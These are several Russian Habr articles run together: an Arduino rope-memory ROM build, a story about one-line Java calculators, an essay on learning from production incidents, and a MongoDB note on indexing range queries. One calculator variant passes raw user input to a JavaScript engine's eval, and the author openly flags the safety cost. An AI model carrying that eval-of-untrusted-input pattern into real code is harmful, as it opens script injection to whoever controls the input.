Теперь, если подать напряжение на проводник и читать потенциалы с датчиков колец последовательно, можно составить один байт считанной информации на каждый такой проводник.
Это здорово похоже на запись узелками на веревочках, которую применяли некоторые древние народы, собственно, потому и возник термин «веревочная» память.
Практика
--------
Итак, возьмемся воплощать составленную модель в физическую. Создавать отдельный компьютер под эксплуатирование данного вида памяти мы сегодня не будем и воспользуемся тем, что есть. Я, например, выудил из недр ящика стола очередную ардуину, благо функционала ее для решения нашей задачи хватит с головой.
Во-первых, для считывания потенциала с восьми ферритовых колец нам возможно использовать восемь аналоговых входов (A0 – A7).
Во-вторых, для адресации проводников можно использовать цифровые выводы, коих для небольшого количества адресов вполне хватит.
Впрочем, занимать целый вывод ардуины на один адрес мне показалось расточительным, потому, я еще усложнил схему, применив для адресации выводов сдвиговый регистр из двух 74HC595.
Понимаю, что использование современных микросхем в данном случае несколько «неспортивно», но, построение вот таких вот «гибридов» древних технологий с современными – это особый шик.
В теории, применение сдвигового регистра позволит масштабировать количество адресов памяти не занимая все возможные выводы контроллера, который будет с ними работать, и позволит ему выполнять еще какие-либо задачи. Но, на практике здесь всплывает очередной подводный камень, о котором в конце.
Соберем схему для сдвигового регистра для 16 адресов, который позволит нам адресовать 16 байт:
Схема сдвигового регистра для адресации проводниковИ схему подключения восьми колец на аналоговые пины A0 – A7. Конденсаторы здесь можно взять любые керамические номиналом 100 нФ, диоды так же любые. Я, например, вообще применил что нашел - германиевые 80х годов. Для зрелищности можно попробовать использовать светодиоды. Измеряющая обмотка на кольце – 10 витков любого тонкого провода.
Схема датчика для снятия наличия потенциала с ферритового кольцаТак же нужно учесть, что адресные проводники в дальнейшем будут садиться одним концом на землю. Если их все соединить в одной точке, то, при подаче напряжения каждый проводник окажется связан со всеми остальными и сможет вносить помехи в чтение с колец, наводя потенциалы там, где это не нужно. Потому, проводники на землю стоит посадить через диоды. Для наших целей понадобится 16 диодов. Соединение пропускаемых через кольца проводников на землю в данном случае будет выглядеть так:
Схема соединения проводников по адресамЯ не заморачивался с травлением и свой вариант на макетной плате спаял проводом МГТФ за вечер. Получилось нечто, что можно лицезреть в первой же картинке данной статьи.
Программирование
----------------
Итак, мы можем что-то записать в нашу память. Для этого начнем соединять измеряемые проводники:
Один конец, как упоминалось выше, садится через диод на землю. Затем проводник пропускается последовательно через все ферритовые кольца формируя биты, по принципу - если проводник проходит через кольцо, бит установлен, если проводник не проходит через кольцо, бит не установлен.
После этого второй конец проводника сажается на ножку сдвигового регистра, ассоциированную с адресом данного проводника. Всё, ПЗУ «зашито», причем, в прямом смысле.
Теперь обратимся, наконец, к нашей ардуино и попробуем прочесть то, что мы наделали.
Прошивка ардуино
```
//Адреса пинов снимающих сигнал с ферритовых колец
uint8_t in_pins[8] = {A0, A1, A2, A3, A4, A5, A6, A7};
//Пины управляющие сдвиговым регистром на двух 74HC595
//Пин подключен к ST_CP входу 74HC595
int latchPin = 12;
//Пин подключен к SH_CP входу 74HC595
int clockPin = 13;
//Пин подключен к DS входу 74HC595
int dataPin = 11;
//Вывод на 16-битный сдвиговый регистр числа, кодирующего пины
void shift_out_value(unsigned int val) {
digitalWrite(latchPin, LOW);
//Выведем на сдвиговый регистр последний байт
shiftOut(dataPin, clockPin, MSBFIRST, highByte(val));
//Выведем на сдвиговый регистр первый байт
shiftOut(dataPin, clockPin, MSBFIRST, lowByte(val));
digitalWrite(latchPin, HIGH);
}
//Разрядка конденсаторов на датчиках колец
void discharge() {
for (int i = 0; i < 8; i++) {
//Переключить пин на выход
pinMode(in_pins[i], OUTPUT);
//занулить
digitalWrite(in_pins[i], LOW);
//небольшая задержка
delay(3);
//Переключить обратно на вход
pinMode(in_pins[i], INPUT);
}
}
//Считывание байта с колец
uint8_t read_ferrite_byte(unsigned int address) {
uint8_t values[] = {0, 0, 0, 0, 0, 0, 0, 0};
//Для точности можно увеличить количество проходов чтения, но,
//работает и так
//for (uint8_t phase = 0; phase < 2; phase++)
{
//Разрядим
discharge();
//Подергаем нужным проводком по нужному адресу через сдвиговый
//регистр
//Это нужно чтобы создать в ферритовых кольцах магнитный поток и
//зарядить конденсаторы
//на датчиках тех колец, через которые проходит проводник с нужным
//адресом
for (uint8_t j = 0; j < 8; j++) {
shift_out_value(address);
shift_out_value(0);
}
//Считаем показания с датчиков всех колец
for (uint8_t ix = 0; ix < 8; ix++)
{
values[ix] += analogRead(in_pins[ix]);
}
}
discharge();
//Упакуем все считанные значения в один байт, где 0 - не считано
//ничего, 1 - считано что-то
uint8_t result = 0;
for (uint8_t ix = 0; ix < 8; ix++)
{
result = (result << 1) | ((values[ix] > 1) ? 1 : 0);
}
return result;
}
void setup() {
pinMode(latchPin, OUTPUT);
pinMode(clockPin, OUTPUT);
pinMode(dataPin, OUTPUT);
for (int i = 0; i < 8; i++) {
pinMode(in_pins[i], INPUT_PULLUP);
digitalWrite(in_pins[i], LOW);
}
Serial.begin(115200);
//разрядим конденсаторы
discharge();
Serial.println("------------------------------");
//Убедимся, что с ферритовых колец ничего не читается
for (uint8_t ix = 0; ix < 8; ix++)
{
Serial.print(analogRead(in_pins[ix]), DEC);
Serial.print(" ");
}
Serial.println();
Serial.println();
//Считаем и выведем значения по адресам 1..16
for (int i = 0; i < 16; i++) {
Serial.print("address[");
if (i < 10) Serial.print("0");
Serial.print( i, DEC);
Serial.print("] = ");
uint8_t nibbles = read_ferrite_byte((unsigned int)1 << i);
Serial.print(nibbles, DEC);
Serial.print(" - ");
Serial.print(nibbles, BIN);
if (nibbles > 32) {
Serial.print(" - ");
Serial.print((char)nibbles);
}
Serial.println();
}
}
void loop() {
}
```
Алгоритм чтения следующий:
1. Разрядить конденсаторы на датчиках ферритовых колец, поскольку, на них мог сохраниться потенциал, оставшийся от предыдущих шагов чтения, и он может внести помехи в читаемые данные.
2. Задать на адресном регистре адрес ножки, к которой подключен проводник с нужным адресом. При этом, через проводник потечет ток, который вызовет накопление потенциала в конденсаторах датчиков тех колец, через которые пропущен данный проводник.
3. Снять показание потенциала накопленного заряда со всех колец последовательно по номерам бит в байте и составить считанное значение.
Результат зависит от того, что было зашито, разумеется.
Зашил слово HELLO и успешно его считалНу и подводный камень, о котором я упоминал ранее:
Для наведения магнитного потока в кольцах нужно подавать питание на измеряемые проводники не постоянно, а с определенной частотой. В схеме со сдвиговым регистром для того приходится совершать цикл из нескольких записей адреса и нуля:
* Записать в регистр адрес пина нужного проводника, тем самым включив его.
* Записать в регистр 0, выключив все проводники.
* Повторить N раз.
Если регистр небольшой, скорость записи в него позволит сформировать некоторую частоту подаваемого на проводники тока, позволяющую завести ферритовые кольца и накопить в их датчиках некоторый потенциал.
Если начать увеличивать длину регистра, увеличивая количество адресуемых проводников, скорость записи в регистр так же вырастет, и в какой-то момент частота подаваемого тока уже будет недостаточна для формирования магнитного потока в кольцах.
В таком случае, интересным домашним заданием становится решение подобной задачи масштабирования памяти. Можно попробовать для увеличения количества адресов памяти использовать какую-нибудь каскадную адресацию сдвиговых регистров, где сдвиговый регистр будет ссылаться на следующий сдвиговый регистр. Или использовать логические дешифраторы, повешенные на тот же регистр.
Если у вас в голове родилась интересная схема – поделитесь, а то у меня целый мешок советской логики без дела лежит. 😊
UPD: В комментариях предложили использовать ШИМ через ножку OE самого сдвигового регистра, что решает задачу. | https://habr.com/ru/post/687284/ | null | ru | null |
# Однострочный калькулятор, искусство или порок?
Вводная
-------
Как это часто бывает, когда Вы ищете работу, Вы проходите одно собеседование за другим. Где-то Вас выбирают, где-то Вы. И наверное, в жизни каждого из нас бывали интересные собеседования, о которых можно с удовольствием поведать публике. Я хочу рассказать об одной такой истории, где есть место эмоциям, панике, потоку мышления и вдохновению. Речь в статье пойдет о внутренних переживаниях соискателя, о его противостоянии с интервьюером, интересный и мозговзрывательный код на java, а также ответ на поставленный вопрос: *'Необычный код — искусство или порок?'*. Вы сможете окунуться в свое прошлое и размять мозги. Если заинтриговал, тогда поехали.
История одного человека X
-------------------------
В далеком 2008 году, парень по имени X искал работу программистом. Опыт разработки у него был, но не такой, когда отрывают с руками и ногами. Поэтому он отвлекался на все вакансии и отвечал на все звонки. И вот свершилось, X'а пригласили в серьезную компанию, где ему предстояло пройти всего 2 собеседования. Одно, как это водится, с девчатами из отдела кадров, которое впрочем помехой не стало, а второе — техническое, волнительное, сердце тревожное, неизвестное. Настал час X — собеседование. После принятого рукопожатия, молодой человек, по имени Y, интервьюер, истинный программист — прическа в бок, джинса подстёрлась, сказал, что очень занят сейчас. Ну раз ты пришел, так и быть, дам тебе хорошенький ноутбук и задачку — *'Напиши мне калькулятор. Простой калькулятор, когда на вход программе подается выражение, состоящее из 2 чисел, разделенные знаком '+', '-', '\*', '/', которое нужно посчитать. У тебя полтора часа.'*. И в тот момент, произошло нечто важное — *'Удиви меня!'*, надменно добавил он и ушел. В эту секунду человека X накрыл шквал негативных эмоций — *'Ага, ща. Достам АКС 74, 5.45 и заставлю тебя танцевать лезгинку и напевать Надежду Бабкину — 'Виновата ли я'. Во диву то будет, танцуй сколько хошь… '*.
Но эмоции на то и эмоции, чтобы уступать место здравому смыслу. Грубость — не аргумент. Процесс пошел, мысли забурлили: а может вызвать calc.exe, а может ООП навернуть, а может офигенный парсер выражения сделать. Но нет. Всего полтора часа. Может просто сделать задачу? Как поступить? Путь был выбран — *'Сделаю как смогу и точка с запятой. Ох уж и постановочка, ох уж и собеседование'.* Минут через 20 на лице X'а появилась улыбка. Его осенило! А что если написать калькулятор, код которого содержал бы всего 1 строку, т.е. всего 1у точку с запятой не считая пакеты и импорты? Сказано — сделано. К концу второго часа решение было готово. 2 часа. Пришел уставший и немного замороченный Y. *'Ну как?'* — спросил он X'а. *'Готово!'* — ответил тот.
Интересный и мозговзрывательный код на java
-------------------------------------------
Итак, дорогой читатель пришло время и нам с Вами попробовать решить поставленную, человеку X, задачку. Вот более точная формулировка задания: Необходимо написать калькулятор для простого выражения, который бы содержал ровно 1 строчку кода и умел складывать, вычитать, умножать и делить 2 числа. 1 строчка — означает ровно 1 точку с запятой, исключая декларацию пакета и импортов. Для решения можно использовать только классы из jdk. Примеры выражения «7 + 4», «-12.0 \* 14.12» без скобок и каких либо хитростей. Решение нужно оформить в 1 статическом методе, выводящего в консоль результат. Функцию **main** не трогать — в ней будут вызываться функции для проверки результатов. С ограничениями, пожалуй все. Любые трюки приветствуются. Оригинальность тоже.
Варианты
--------
В java 7 это делается довольно просто и тут не нужно быть гением. Пожертвуем немного точностью и безопасностью. Класс буду приводить полностью. Если хотите подумать жать на спойлер не обязательно.
**Вариант номер раз**
```
package com.calculator;
import javax.script.ScriptEngineManager;
import java.io.PrintStream;
public class Calculator1 {
/**
* Самый простой, но менее точный результат. Что с безопасностью?
* @param expression выражение для расчета
*/
private static void calc(String expression) {
try {
System.out.println(new ScriptEngineManager().getEngineByName("JavaScript").eval(expression));
} catch (Exception ex) {
try (PrintStream stream = (System.out.append("Nan"))) {}
}
}
public static void main(String[] args) {
calc("+5 + -12");
calc("+5 * -12");
calc("+5 - -12");
calc("+5 / -12");
}
}
```
В 2008 году такой трюк бы не прошел, поэтому человек X решил эту задачу по своему. Примечание: код все равно адаптирован под java 7, уж простите.
**Вариант номер два**
```
package com.calculator;
import java.io.PrintStream;
import java.math.BigDecimal;
import java.math.MathContext;
import java.math.RoundingMode;
import java.util.Arrays;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Calculator2 {
/**
* Вариант, который будет предложен в том или ином виде большинством
* @param expression выражение для расчета
* @param args хитрость, до которой стоит догадаться
*/
private static void calc(String expression, Object ... args) {
try {
// 1. Отображаем результат
System.out.println(
// 2. Ищем метод по коду операции
BigDecimal.class.getMethod(
Arrays.asList("multiply", "add", "subtract", "divide").get(
((args = new Matcher[] {
Pattern.compile(
// 3. Регулярка для анализа выражения. Отмечу, что регулярка то и **не очень важна**, ее можно допилить так как хотите.
"[+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][+-]?\\d+)?\\s*([+-\\\\*/])\\s*[+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][+-]?\\d+)?$")
.matcher(expression)})) != null &&
((Matcher) args[0]).find() ?
// 4. Коды символов основных операций 42: '*', 43: '+', 45: '-', 47: '/' - простая формула дает индексы 0, 1, 2, 3
((int) ((Matcher) args[0]).group(1).charAt(0) - 41) / 2 : -1),
// 5. Вычисляем результат
BigDecimal.class, MathContext.class).invoke(
// 6. Первый аргумент пошел
new BigDecimal(((args = new Matcher[] {
Pattern.compile("([+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][+-]?\\d+)?)").matcher(expression)})) != null &&
((Matcher) args[0]).find() ? ((Matcher) args[0]).group(0) : ""),
// 7. Второй аргумент пошел
new BigDecimal(((args = new Matcher[] {
Pattern.compile("[+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][+-]?\\d+)?\\s*[+-\\\\*/]\\s*([+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][+-]?\\d+)?)$")
.matcher(expression)})) != null && ((Matcher) args[0]) .find() ? ((Matcher) args[0]).group(1) : ""), new MathContext(10, RoundingMode.HALF_EVEN)));
} catch (Exception ex) {
/** Хитрый трюк сказать пользователю что выражение фиговое */
try (PrintStream stream = (System.out.append("Nan"))) {}
}
}
public static void main(String[] args) {
calc("+5 + -12");
calc("+5 * -12");
calc("+5 - -12");
calc("+5 / -12");
}
}
```
Как в известной песни: Ну что сказать, ну что сказать, устроена так java, желают знать, желают знать, желают знать, что будет…
Но признаемся себе, этот код слишком громоздкий и имеет повторения. А что если усилить **ограничение** и потребовать не использовать тернарный оператор вовсе? Не сразу, но решение все же нашлось.
**Вариант номер три**
```
package com.calculator;
import java.io.PrintStream;
import java.math.BigDecimal;
import java.math.MathContext;
import java.math.RoundingMode;
import java.util.Arrays;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Calculator3 {
/**
* Вариант, без тернарного оператора, здесь нужно немного подумать.
* @param expression выражение для расчета
* @param args хитрость, до которой стоит догадаться
*/
private static void calc(String expression, Object ... args) {
try {
// 1. Отображаем результат
System.out.println(
// 2. Ищем метод по коду операции
BigDecimal.class.getMethod(
Arrays.asList("multiply", "add", "subtract", "divide").get(
// 3. Запоминаем все требуемые значения в args и достаем код операции
(Integer) (args = new Object[] {args = new Object[] {
Pattern.compile("([+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][+-]?\\d+)?)\\s*([+-\\\\*/])\\s*([+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:[eE][+-]?\\d+)?)$").
matcher(expression)}, args[0], ((Matcher) args[0]).find(), ((Matcher) args[0]).group(1), ((int) ((Matcher) args[0]).group(2).charAt(0) -41) / 2,
((Matcher) args[0]).group(3)})[4]),
// 4. Вычисляем результат
BigDecimal.class, MathContext.class).invoke(
// 5. Первый аргумент пошел
new BigDecimal(args[3].toString()),
// 6. Второй аргумент пошел
new BigDecimal(args[5].toString()), new MathContext(10, RoundingMode.HALF_EVEN)));
} catch (Exception ex) {
/** Хитрый трюк сказать пользователю что выражение фиговое */
try (PrintStream stream = (System.out.append("Nan"))) {}
}
}
public static void main(String[] args) {
calc("+5 + -12");
calc("+5 * -12");
calc("+5 - -12");
calc("+5 / -12");
}
}
```
Так гораздо короче и без повторений, но мозг вот вот взорвется. Я думаю найдется еще пару решений.
Интересно, а **как** думают парни, излагающие свои мысли на scala или kotlin или c# или ..., если указанные ограничения пусть и с допущениями — подходят?
Заключение
----------
Спасибо дорогой читатель, за твое внимание и терпение. Как и обещал даю свой ответ на поставленный вопрос: *'Необычный код — искусство или порок?'*. Я бы сказал так: *'Глазами экспериментатора — исскуство, глазами продакшена — порок'*. Но как бы такой код не называли, помни, ты можешь попробовать. Отдельно хочу извиниться перед жителями habrahabr за выбранный стиль изложения, если что не так. Это экспериментальный с моей стороны подход, спасибо за понимание. | https://habr.com/ru/post/320830/ | null | ru | null |
# Как упавший продакшен делает нас лучше
> Неважно, сколько раз ты упал. Важно — сколько раз ты поднялся.
>
> © Мой домашний сервер
>
>
Вы не ослышались. Речь не о том, что упавший продакшен — это хорошо. Это плохо. Но продакшен иногда падает, надо это признать. Этого надо не допускать, но к этому надо быть готовым. Каждое падение, каждый инцидент — это большой стресс, но даже в такой неприятной обстановке настоящий самурай может найти возможность стать лучше.
Инциденты — это прекрасная возможность получить новые знания и навыки. Они выдёргивают нас из ежедневной рутины и сталкивают лицом к лицу с неожиданными трудностями и новыми людьми. Когда все собираются вместе и решают одну важную проблему, стирается иерархия и начинается самое интересное.
Привет, Хабр! Я Игорь, и я ~~тушу пожары~~ занимаюсь разработкой в Ozon. Я расскажу вам не просто о том, как работать с инцидентами, а как обратить каждое (ну или хотя бы некоторые) происшествие на проде себе на пользу.
**Как рулят инцидентами в Ozon**
У нас выстроена достаточно хорошая культура работы с инцидентами. Есть специальная команда дежурных инженеров мониторинга, чья работа буквально бдить за графиками и рулить процессом, когда что-то идёт не так.
Есть специальный канал в Slack, где любой сотрудник может позвать дежурного инженера и указать на имеющуюся проблему. Дежурный проведёт диагностику, и если подтвердится, что проблема серьёзная, будет заведён инцидент и вызваны ответственные за соответствующий функционал.
Все инциденты публичны, есть официальный созвон, никаких решений проблем «под одеялом» не бывает. Как правило, на достаточно серьёзных инцидентах быстро собирается группа достаточно серьёзных людей — от простых разработчиков до очень больших начальников. Присоединиться, чтобы послушать или предложить решение, может любой желающий. Если для решения проблемы требуется помощь со стороны, то дежурный инженер быстро её организует.
Также дежурный имеет возможность видеть, что одни проблемы вызывают другие, и не создавать несколько инцидентов для проблем, вызванных одной причиной.
Посмотреть по сторонам
----------------------
Инциденты часто возникают где-то между зонами ответственности разных команд, и, чтобы их разрешить, нужно действовать сообща. По ходу действий приходится знакомиться с людьми, узнавать, что вообще происходит в компании, но за пределами твоего уютного мирка. Узнаешь, как другие люди смотрят на твои сервисы и тебя самого, что в целом всегда полезно.
Очевидный пример — это инфраструктура и работа с людьми, поддерживающими её.
**Отдел инфраструктуры**
В Ozon есть специальные люди, отвечающие за инфраструктуру. Они заботятся о том, чтобы Kubernetes масштабировался, PostgreSQL бежал бодро, и о многом другом. Сами инженеры прикладных приложений могут притрагиваться к настройкам только при наличии очень большого желания и квалификации.
Мы можем месяцами не пересекаться с ребятами из отдела инфраструктуры, но, когда что-то идёт не так, мы с ними сталкиваемся лицом к лицу и должны взаимодействовать. Тут-то мы и узнаём, какой наш код плохой, и какие у нас неоптимальные запросы, как наша структура данных мешает таблицам вакуумиться, как размываются индексы при таких частых обновлениях данных, и т. д. Помимо объективной (и не очень) критики, есть шанс узнать такие вещи, о которых ты раньше и не подозревал, например какие запросы могут убить базу мгновенно, а какие — постепенно. Кто бы мог подумать (sarcasm), что UPDATE-запросы на произвольно большие выборки данных вызывают блокировки и такие штуки лучше делать частями! Кто бы мог подумать (на этот раз серьёзно), что GIN-индексы имеют большие проблемы с обновлениями и могут замедлять отдельно взятые UPDATE-запросы в сотни раз! О таком обычно в книжках не пишут — и шанс узнать об этом есть только при достаточно тесном контакте с достаточно узким специалистом.
> ### Пример
>
>
>
> После удаления порядка миллиона строк из таблички размером четыре миллиона строк выборка из таблицы стала дико тупить. Собрали инцидент — и узнали от DBA, что большие удаления в PostgreSQL нарушают работу планировщика, так как ему приходится пропускать большое количество строк именно во время планирования. Итого время выполнения запроса было 0.5 мс, а время планирования запроса — 500 мс. Сделали табличке VACUUM — и ей полегчало.
Наблюдение за тем, как люди из команды инфраструктуры (да и из любой другой, к которой ты не имеешь прямого отношения) решают проблемы, сильно расширяет кругозор и добавляет вариантов действий в твой арсенал. Совершенно невероятные Bash-скрипты, которые нам, детям Kubernetes, не снились в самых страшных снах. Дебаг скомпилированного и уже давно запущенного PostgreSQL (с управлением и пошаговым режимом!), биндинг виртуальных машин к ядрам на лету, и не только. Всё это простой программист на JSON-ах имеет шанс увидеть, только когда матёрый сисадмин шарит экран и расчехляет терминал.
Узнать критические точки
------------------------
Инциденты обычно возникают в каких-то сложных частях системы. Когда инцидент затрагивает какую-то часть системы раз за разом, это сигнал, что где-то там есть важные механизмы, которым надо уделить время и разобраться. Это могут быть как механизмы языка программирования, так и внешние системы общего назначения, например базы данных или брокеры сообщений. Если у вас периодически течёт память, имеет смысл изучить работу сборщиков мусора. Если накапливаются лаги на топиках в Kafka, то можно, наконец, узнать, кто же такой этот Кафка и почему о нём все говорят. Таким образом я познакомился с тем, как работает репликация баз данных в PostgreSQL, и узнал, что, оказывается, долгие запросы на асинхронной реплике могут замедлять мастер. Получив необходимый минимум знаний во время инцидента, я могу пойти и изучить тему самостоятельно, точно зная, что эти знания мне пригодятся.
Отдельным открытием для инженеров обычно бывает то, как пользователи работают с продуктом.
> ### Пример
>
>
>
> У нас есть функционал асинхронной генерации различных отчётов для продавцов в формате XLS. Запросы от продавцов падают в очередь, откуда их разгребает пул воркеров, генерирует отчёты и складывает их в файловое хранилище, откуда их может забрать пользователь. Функционал был написан больше года назад, когда до него добрался особо крупный и особо нетерпеливый продавец. Он протыкал кнопку «Создать отчёт» суммарно 400 раз в течение десяти минут. Так как пользователь был крупный (не в смысле физических размеров, а в смысле ассортимента), то и отчёты для него должны были выдаваться немаленькие. Эти 400 немаленьких отчётов забили всю очередь и все воркеры. Для всех остальных пользователей генерация встала. Они же, видя, что для них отчёты не создаются, тоже повторно нажимали на кнопку «Создать отчёт» — и задания на генерацию радостно забивали очередь ещё сильнее. Слава богу алертов, у нас был алерт на размер очереди на генерацию отчётов. В течение 20 минут мы поняли первопричину и удалили все повторяющиеся задания. Функционал был восстановлен.
После этого случая мы добавили два нововведения: дедупликацию заданий, чтобы не забивать очередь повторами, и лимиты на пользовательские запросы. Теперь продавцы могут генерировать не более трёх отчётов одновременно. Причём лимиты мы поставили не только на генерацию отчётов, но и вообще на все действия пользователя — как асинхронные, так и синхронные. Потому что не должно быть такого, что все ресурсы заняты одним пользователем.
Быть готовым к трудностям
-------------------------
Мы все несовершенны, и наш код несовершенен тоже. Единственное, в чём мы можем быть уверены, — это в том, что в любой момент всё может пойти не так. Инциденты показали, что вместо написания красивого кода имеет смысл писать код, который красиво (безопасно) падает. Радиус поражения любой проблемы должен быть минимален.
> ### Пример
>
>
>
> Часто в больших проектах с микросервисной архитектурой есть сервис, который отдаёт данные пользователю, собирая их из ряда других микросервисов (паттерн API Composition). Частой ошибкой в таких случаях бывает, что падение или ошибочный ответ одного из микросервисов вызывает ошибочный ответ всего API Composition. Очевидно, что некоторые данные не являются критичными и можно обойтись без них и отдать (пусть неполный) ответ пользователю.
>
>
Если отказал сервис, который хранит пользовательские аватарки, то, очевидно, можно отдавать наружу заглушку с картинкой а-ля «Тут должна была быть ваша аватарка».
Аналогично, если не удаётся записать лог или метрику, это не должно приводить ни к каким деградациям. Если метрики не пишутся, то это большая проблема, но пользователь не должен от этого страдать. Можно поднять алерт, написать в лог и разбираться в проблеме в рабочем, а не в экстренном порядке.
Конечно, бывают действительно критичные ситуации, в которых лучше ничего не делать и ответить ошибкой 500, но их на самом деле не так много. В этом плане мне очень нравится концепция языка Go, который своей конструкцией
```
if err != nil {
....
}
```
призывает нас задуматься над каждым возможным негативным сценарием. Многие на автомате шлёпают между фигурными скобками
```
return err
```
Не делайте так. Во-первых, как я сказал, не каждая ошибка требует немедленного прекращения работы, — иногда её можно просто залогировать. Во-вторых, даже если нужно вернуть ошибку, можно снабдить её понятными пояснениями. Тут нам поможет концепция error wrapping.
```
if err != nil {
return fmt.Errorf(“something went wrong in avatar service: %w”, err)
}
```
Код должен явно и громко давать понять, когда что-то идёт не так, как должно, когда происходят вещи, которые не должны происходить. В идеале по логу или алерту сразу должно быть понятно, что делать или как понять причину более детально.
Это всё очевидные советы из книжек, но в ходе инцидентов особенно понимаешь их важность.
Прозрачность рулит
------------------
Я видел множество инцидентов, когда какой-то график или кусок лога были ключевым моментом в понимании их причин. Например, если вы пытаетесь что-то получить из соседнего сервиса, но не получаете, то обычно важно знать, по какой причине.
Согласитесь, между сообщениями
`Error getting avatar from avatar service`
и
`Error getting avatar from avatar service: i/o timeout`
разница не большая, но насколько легче будет, когда что-то пойдёт не так!
По этим самым графикам и логам обычно можно понять, что инцидент закончен. Проблемы с компонентами, непокрытыми графиками и логами, обычно ввергают в полнейшую безнадёгу: чувствуешь себя слепым рыцарем, который должен что-то сделать, не имея ни малейшего понятия о том, что происходит.
Наблюдения за тем, как коллеги исследуют проблемы, читают логи, какие смотрят графики, какие инструменты используют, сильно помогли мне находить нужную информацию быстрее в следующий раз. Например, для исправления чего-то, что происходит прямо сейчас, можно читать логи сервиса «наживую», прямо из kubectl. А для поиска причин проблемы, которая произошла какое-то время назад, хорошо бы освоить язык запросов вашего сервиса хранения логов (в Ozon это Graylog). Понимание существующих логов и графиков даёт подсказки, чего не хватает, какие ситуации ещё можно замерить и залогировать.
Иногда в ситуациях, когда нет никаких прямых свидетельств проблемы в виде графиков и логов, а есть только пользовательский фидбэк, можно начать решать проблему с (cюрприз) добавления логов и метрик. Так вы поймёте масштаб бедствия, поймёте, что проблема реальна, и, главное, поймёте, когда она будет решена. На метрики позже можно будет назначить алерт — и о следующем возникновении проблемы вы узнаете раньше пользователей.
> ### Пример
>
>
>
> У нас есть график количества товаров, которые приходят на модерацию, есть график количества товаров, которые из неё уходят как успешно промодерированные или, наоборот, отклонённые. И есть прекрасный график, который показывает соотношение входа и выхода. Если вдруг за последние три часа на модерацию попало в три раза больше товаров, чем было промодерировано, значит, возможно, что-то идёт не так. Поднимается алерт, поднимается дежурный, который начинает выяснять, не случилось ли чего. Важно понимать, что этот график не даёт понимания причин проблемы, но даёт знать, что проблема существует, а причины надо искать — уже на соседних графиках.
Знакомство с прекрасными людьми
-------------------------------
Инцидент — прекрасная возможность узнать коллег, с которыми ты обычно не пересекаешься. Многих людей, у которых я многому научился, я встретил только благодаря инцидентам, других возможностей у меня пожалуй, не было. Можно повстречать людей, которые по-другому мыслят, умеют делать какие-то другие вещи, нежели ты или люди из твоей команды. Может встретиться эксперт по конкретной технологии и рассказать то, о чём в книгах не пишут, как, например, эксперты по базам, о которых я писал выше. Можно узнать, что пользователем вашего сервиса являются люди с другого конца компании, делающие интересные проекты, и понять, что твой функционал важен и востребован.
Советы в заключение
-------------------
Инцидентов не надо бояться, как не надо бояться того, что пойдёт дождь. Дождь всё равно случится, а продакшен всё равно рано или поздно упадёт. В наших силах быть к этому готовыми, минимизировать последствия и максимизировать пользу. А пользы, как я описал, извлечь можно довольно много.
* Принимай участие в инцидентах с первого дня работы в компании. Даже если ты просто слушатель, это поможет тебе быстрее узнать контексты и правила, и когда наступит твоя очередь тушить продакшен, ты будешь знать, что делать.
* Принимай во внимание накалённость обстановки и не лезь куда не надо. Больше слушай. Вопросы можно записать и задать позже.
* Будь честен с другими и с собой — особенно в том, что знаешь, что можешь сделать и чего не можешь. Если тебе задают вопрос, на который ты не знаешь ответа, то лучше так и сказать, ничего не придумывая.
* Не стесняйся брать инициативу в свои руки, когда это уместно. Это прекрасная возможность вырасти профессионально. | https://habr.com/ru/post/598583/ | null | ru | null |
# MongoDB: производительность запросов на диапазонах
Если вы путешествовали по территории индексов MongoDB, вы возможно слышали принцип: *Если ваши запросы содержат сортировку, то добавте сортированное поле в конец индекса который используется в этих запросах.*
Во многих случаях когда запросы содержат условия равенства как например {“name”: “Charlie”}, принцип который выше очень полезен. Но что о нем можно сказать со следующим примером:
```
Запрос:
db.drivers.find({"country": {"$in": ["A", "G"]}).sort({"carsOwned": 1})
Индекс:
{"country": 1, "carsOwned": 1}
```
Эта связка является не эффективной, хотя принцип соблюдается. Потому что тут есть ловушка в которую вас может привести этот принцип.
Ниже мы рассмотрим причины возниконвения этой ловушки и к концу статьи вы будете иметь новое правило которое будет вам помогать при индексировании.
Давайте вспомним основы из документации MongoDB:
\* «Индексы рано»
Индексы заслуживают рассмотрения в начале проектирования. Исторический, эффективность на уровне доступа к данным была переложена на администраторов баз данных, это создавало слой оптимизации после проектирования.
С документо-ориентированныим базами данных есть возможность этого избежать.
\* «Индексы часто»
Индексированные запросы работают лучше на несколько порядков, даже на маленьких данных. В то время как без индекса запрос может занять 10 секунд, тот же запрос может занять 0 милисекунд с соответсвующим индексом.
\* «Индексы полностью»
Запросы используют индексы слева направо. Индекс может быть использован только при условии что запрос использует все поля в индексе без пропусков.
\* «Сортировка индекса»
Если ваш запрос будет содержать сортировку, то добавте сортированное поле в ваш индекс.
\* «Команды»
.explain() покажет какой индекс используется для данного запроса.
.ensureIndex() создает индексы.
.getIndexes() и .getIndexKeys() покажут какие индексы у вас есть.
Теперь вернемся к нашему вопросу. С учетом основ индексации, для следующего запроса:
```
db.collection.find({"country": "A"}).sort({"carsOwned": 1})
```
Мы должны создать такой индекс:
```
db.collection.ensureIndex({"country": 1, "carsOwned": 1})
```
Что если большинство запросов в условии используют выбор диапазона вместо сравнения? Как в этом:
```
db.collection.find({"country": {"$in": ["A", "G"]}}).sort({"carsOwned": 1})
```
Здесь мы использовали оператор $in, но кроме него есть ещё такие как: $gt, $lt, и др.
Если вы будете использовать подобный запрос, вы увидите что он не эффективен, при этом вы помните основы — нужно запустить .explain() и посмотреть какой индекс используется и как.
В результате выполнения .explain() Вы увидите {scanAndOrder: true}, что значит MongoDB выполняет сортировочные операции, а это дорогая операция т.к. MongoDB сортирует документы в памяти. Поэтому Вы должны избегать большых наборов данных т.к. это медленно и ресурсоемко.
Не нужно забывать, почему scanAndOrder медленный, почему MongoDB сортирует результат хотя у нас уже есть индекс с сортировкой? Ответ простой: у нас нет подходящего индекса.
